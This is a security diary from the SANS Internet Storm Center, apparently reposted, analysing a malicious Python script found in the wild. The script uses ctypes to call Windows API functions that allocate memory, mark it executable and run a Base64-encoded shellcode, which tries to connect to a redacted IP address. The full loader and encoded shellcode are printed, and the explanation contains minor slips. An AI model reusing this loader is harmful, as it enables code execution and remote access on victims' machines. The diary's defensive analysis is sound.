Archive for September 2nd, 2020

Python and Risky Windows API Calls, (Wed, Sep 2nd)

The Windows API is full of calls that are usually good indicators to guess the behavior of a script. In a previous diary, I wrote about some examples of “API call groups” that are clearly used together to achieve malicious activities[1]. If it is often used in PowerShell scripts, here is an interesting sample in Python that uses the same technique. It calls directly Windows API though ‘ctypes’. 

As the documentation says: “ctypes[2] is a foreign function library for Python. It provides C compatible data types and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python”.

The malicious script I found (SHA256:f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290) has a VT score of 4/56[3] and uses the Windows API to create a threat and inject a shellcode:

import ctypes as bDFdFAVENAp
import base64
iVjgSKooAmZu = base64.b64decode("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmgDFGJ7aAIAMwCJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=")
PIgkmEIUQFQZ = bDFdFAVENAp.windll.kernel32.VirtualAlloc(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x3000),bDFdFAVENAp.c_int(0x04))
FlvQCImqSrd = bDFdFAVENAp.windll.kernel32.VirtualProtect(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x20),bDFdFAVENAp.byref(bDFdFAVENAp.c_uint32(0)))
GZfUkqLLVTJWYM = bDFdFAVENAp.windll.kernel32.CreateThread(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.pointer(bDFdFAVENAp.c_int(0)))

The shellcode has Base64-encoded and is executed via the classic trio:

  • VirtualAlloc – we allocate some memory for the shellcode.
  • RtlMoveMemory – we copy the shellcode into the allocated memory.
  • VirtualProtect – because the memory contains executable code, the flag PAGE_EXECUTE_READ (0x20) is applied on the memory zone.
  • CreatedThreat – we created the new threat. Note the fifth argument (NULL) which means that the thread runs immediately after creation.
  • WaitForSingleObject – we need this to continue processing.

The shellcode is simple and tries to connect to an IP address: %%ip:

To conclude: “import ctypes” is a good indicator of suspicious activity in Python scripts running on Windows operating systems!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

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